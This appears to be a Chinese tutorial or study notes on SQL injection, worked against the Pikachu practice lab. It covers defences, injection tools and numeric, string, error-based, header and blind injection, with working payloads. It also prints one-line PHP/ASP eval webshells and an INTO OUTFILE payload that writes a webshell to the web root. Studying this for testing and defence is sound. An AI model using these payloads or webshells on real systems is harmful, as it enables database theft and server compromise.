SQL(Structured Query Language)注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。 这里需要满足2个条件:
1.用户可以控制自己的输入
2.输入得参数可以被拼接成sql语句执行。
危害:造成信息泄露,上传webshell【WebShell
是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。WebShell 本质上是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp
等,也就是说WebShell 接受来自于Web 用的命令,然后在服务器端执行。它的分类包括大马和小马,需要配合中国菜刀或中国蚁剑使用】篡改网页信息等。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM
框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
数据库知识整理
WAF设备
【 WAF称为web应用防火墙,是通过执行一系列针对HTTP,HTTPS
的安全策略,来专门对web应用,提供保护的一款产品,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用防火墙】启用防sql注入策略(或类似防护系统)PHP防范转义()+过滤
PDO预处理
进行两次交互,第一次是用参数化的占位符与数据库驱动交互预处理,防止拼接sql语句,第二次传参数。
WAF web防火墙会通过特征库识别payload
的恶意请求,
1.攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露;
2.可以对数据库中的数据进行增加或删除操作,例如私自添加或删除管理员账号;
3.如果网站目录存在写入权限,可以在网站中写入木马,攻击者进而可以对网页进行纂改,发布一些违法信息等;
4.经过提权等步骤,服务器的最高权限被攻击者获取,攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。
1.Sqlmap
Sqlmap是一个自动SQL 注入工具,其可胜任执行一个广泛的数据库管理系统后端指纹,
检索DBMS数据库、usernames、表格、列、并列举整个DBMS信息。Sqlmap
提供转储数据库表以及MySQL、PostgreSQL、SQL Server
服务器下载或上传任何文件并执行任意代码的能力。
2.Havij
Havij是一款自动化的SQL注入工具,它能够帮助渗透测试人员发现和利用Web应用程序的SQL注入漏洞。Havij不仅能够自动挖掘可利用的SQL 查询,还能够识别后台数据库类型、检索数据的用户名和密码hash、转储表和列、从数据库中提取数据,甚至访问底层文件系统和执行系统命令,当然前提是有 一个可利用的SQL注入漏洞。Havij支持广泛的数据库系统,如 MsSQL, MySQL, MSAccess and Oracle
。 Havij支持参数配置以躲避IDS
,支持代理,后台登陆地址扫描。
3.The Mole
The Mole是一款开源的自动化SQL注入工具,其可绕过IPS/IDS
(入侵防御系统/入侵检测系统)。只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用。The Mole可以使用union注入技术和基于逻辑查询的注入技术。The Mole
攻击范围包括SQL Server、MySQL、Postgres
和Oracle
数据库。
第一步:
-u "xxx" --cookie="yyy"
//带上cookie对url进行注入探测
第二步:
-u "xxx" --cookie="yyy" -current-db
//对数据库名紧进行获取权限
第三步:
-u "xxx" --cookie="yyy" -D pikachu --tables
//对数据库的表名进行枚举
第四步:
-u "xxx" --cookie="yyy" -D pikachu-T users --columns
//对dvwa库里名为users的表名进行枚举
sqlmap.py -u “http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2”
一、注入点探测
1.自动方式:使用web漏洞扫描工具,自动进行注入点发现
2.手动方式:手工构造sql inject测试语句进行注入点发现
二、信息获取,通过注入点取期望得到的数据
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
三、获取操作系统权限
通过数据库执行shell
【于安全、复杂、繁琐等原因,用户不能直接接触内核(也没有必要),需要另外再开发一个程序,让用户直接使用这个程序;该程序的作用就是接收用户的操作(点击图标、输入命令),并进行简单的处理,然后再传递给内核。如此一来,用户和内核之间就多了一层“代理”,这层“代理”既简化了用户的操作,也保护了内核。用户界面和命令行就是这个另外开发的程序,就是这层“代理”。在Linux操作系统
下,这个命令行程序叫做 Shell】,上传木马。
数字型:user_id=$id
字符型:user_id=' $id'
搜索型:text LIKE '%{ $_GET_['search']}%' ''
首先在数据库中查询相关数据
接着查看源码来研究数字型注入的原理,我们可以发现输入一个id后未作任何处理,直接将id
赋值给$id,
意味着直接拼接到sql后,构造了一个sql语句,连接数据库,执行sql语句。
1.使用burp抓包,将拦截到的一个post
请求的数据包发送至repeater
;
2.在id
后面输入一个payload
(sql注入或xss输入的语句即为payload)语句,输入or 1=1
,点击send
,查看返回结果,点击render
,查看返回页面,发现可以显示所有用户的信息。
3.说明此处存在数字型sql注入的漏洞,我们可以通过自己拼接sql,数据库执行,即可得到我们预期的结果。
首先在数据库中查询数据
查看源码
1.我们可以发现用户名在url中被提交,即为get请求;
2.如果我们输入正确的用户名kobe
,采用上一题的方法,后面添加or 1=1
,我们发现显示用户名不正确,是因为字符串要求用单引号,而后面添加的or 1=1
则会当成用户名的一部分,就会显示用户名不正确。
3.正确的思路我们应该构造一个合法的闭合sql语句与数据库连接,显然这个sql语句不合法。因此,我们可以在kobe
后面添加一个单引号使这个字符串闭合,同时在最后的单引号前加数据库的注释符号#,使后面的单引号不发挥作用,即正确的payload为’kobe' or 1=1#
’。我们在用户名或将payload使用url编码输入正确的payload即可。
首先在数据库中查询数据(*代表查询表格中所有数据)
查看源码
1.查看源码我们可以发现搜索型注入与上面两者的区别为它的sql语句
左右两侧由单引号和百分号构成,因此,我们需要构造一个合法且闭合的payload
来连接数据库。
2.采用字符型注入的逻辑,正确的payload即为’%xxx%' or 1=1 #
%’。
查看源码,我们发现username闭合方式为(’’),因此,我们需要构造闭合的sql语句(’xx')or 1=1 #
’),即可成功连接数据库。
变量的类型多种多样,我们需要猜测后台变量的类型或者通过查看源码得到变量的类型,并且构造闭合的sql语句,采用拼接的方式,进行payload测试。但一般情况下我们不会看到后台的源码,所以还是需要通过经验来猜测变量类型。
1.基于union联合查询(通过联合查询来查询指定数据)的信息获取。
用法举例:
select username,password from user where id=1 Union select 字段1,字段2 from 表名
联合查询的字段数需和主查询一致!
2.确认字段的方法:order by x
//对查询的结果进行排序,默认数字0-9,字母a-z。
思路:对查询的结果使用order by
按照指定的列进行排序,如果指定的列不存在,数据库会报错。通过报错查询结果的列数,从而确定主查询的字段数。
一、获取基础信息的方法:
Select version();// 取得数据库版本 Select database();//取得当前数据库 Select user();//取得当前登陆的用户
二、information_schema
在MYSQL
中,自带的information_schema
这个表里存放了大量的重要信息,如果存在注入点的话,可以尝试对该数据库进行访问,从而获取更多的信息。比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息,show databases
的结果取之此表;
TABLES表:提供了关于数据库中表的信息(包括视图),详细表述了某个表属于scheme
,表类型,表引擎,创建时间等信息,show tables from scheme
结果取之此表。
COLUMNS表:提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息,是show columns from schemaname
的结果取之此表。
1.insert意为我们在前端注册时输入的信息,在后台通过insert操作插入到数据库中。前端在接受我们输入信息的时候没有进行防sql注入的操作,导致我们前端输入直接拼接到后端insert相关的操作,然后形成了insert注入漏洞。
2.与上面的方法一致,只需要构成合法的sql语句 ,即可将信息插入到数据库中。
3. 基于insert、update下的报错
4. updata
注入同理,在修改用户个人信息的页面加入payload
语句,即可出现像insert
一样的报错情况。
1.查看源码
2. 基于delete下的报错:
xml
【XML 是可扩展标记语言,是一种很像HTML的标记语言。XML 的设计宗旨是传输数据,而不是显示数据。XML 标签没有被预定义。您需要自行定义标签。】中返回包含所查询值的字符串;ExtractValue(XML_document,xpath_string)
XML_document
是string
格式,为XML文档对象的名称,文中为Doc;kobe’ and extractvalue(0,concat(0x7e,version())#
——通过报错拿到数据库版本kobe' and (select 2 from(select count(*),concat(version(),floor (rand(0)*2)x from information_schema.tables group by x)a)#
有时候,后台开发人员为了验证客户端信息(如常用的cookie
验证)或者通过http header
头信息获取客户端的一些信息(比如useragent、accept
字段等),会对客户端的http header
信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header
的sql注入漏洞。
user-agent
字段中插入合法的payload,即可成功进行测试。cookie
通过一个合法的payload
语句将cookie
拼接到数据库中,即可形成一个sql注入漏洞。我们可以在burp中通过报错的方式来测试cookie
的sql1注入漏洞。在有些情况下,后台使用了错误消息屏蔽方法(比如@屏蔽了报错),此时无法在根据报错信息来进行注入的判断,这种情况下的注入称为”盲注“。根据表现形式不同,盲注又分为based boolian
和based time
两种类型。
and1=1/and1=2
发现可以判断。payload kobe' or 1=1#
,点击查询发现用户名不存在;payload kobe' and 1=1#
,点击查询可发现打印出了kobe对应的信息,出现了正确的输出;payload
,通过返回结果来判断分析。kobe' and ascii(substr(database(),1,1))>113#
,如果这个payload为真,则会输出kobe对应的数据,我们发现用户名不存在;依次类推,若输入kobe' and ascii(substr(database(),1,1))=112#
时,我们可以看见输出了kobe对应的实际信息。这是我们提前在数据库中进行操作知道对应数据库的第一个字符的ascii码,但在实际过程中进行盲注测试我们需要一个一个试。如果说基于boolian
的盲注在页面上还可以看到0 or 1
的回显,那么基于时间的盲注完全就啥看不到了。但是还有一个“时间”的条件,通过特定的输入,判断后台执行的时间,从而确定注入。常用的 test payload:kobe‘ and sleep(5)#
kobe‘ and sleep(5)#
,点击查询,使页面跳转暂停五秒,然后再在开发者工具中点击我们这条payload发起的请求对应的时间线,查看响应时间为五秒钟,即执行了这条payload语句,说明存在sql注入漏洞,而且是基于时间的盲注。payload
执行情况,通过时间延迟进行判断。kobe' and if((substr(database(),1,1))='p',sleep(5),null()#
,若数据库的第一个字符为a,则会暂停五秒钟,若快速返回一个结果,则第一个字符不是a。它是一种短小而精悍的木马客户端,隐藏性好且功能强大。
PHP:<?php@eval($_POST['chopper'];?> ASP:<%eval request("chopper")%> ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
select 1,2 into outfile "/var/www/html/1.txt"
into outfile
将select
的结果写入到指定目录的1.txt
中,在一些没有回显的注入中可以使用into outfile
将结果写入到指定文件,然后访问获取。
前提条件:
secure_file_priv
kobe‘ union select"<?php @eval($_GET['test'])?>",2 into outfile '/var/www/html/1.php"#
暴力破解表名和列名称
kobe‘ and exists(select *from aa)#
aa为表名,如果这个表名不存在,则这个payload的逻辑为假,存在则逻辑为真。通过burp抓包,将抓到的数据包发送到intruder,对表名aa进行爆破。
kobe‘ and exists(select id from users)#
同样的方法对列名称 id进行爆破。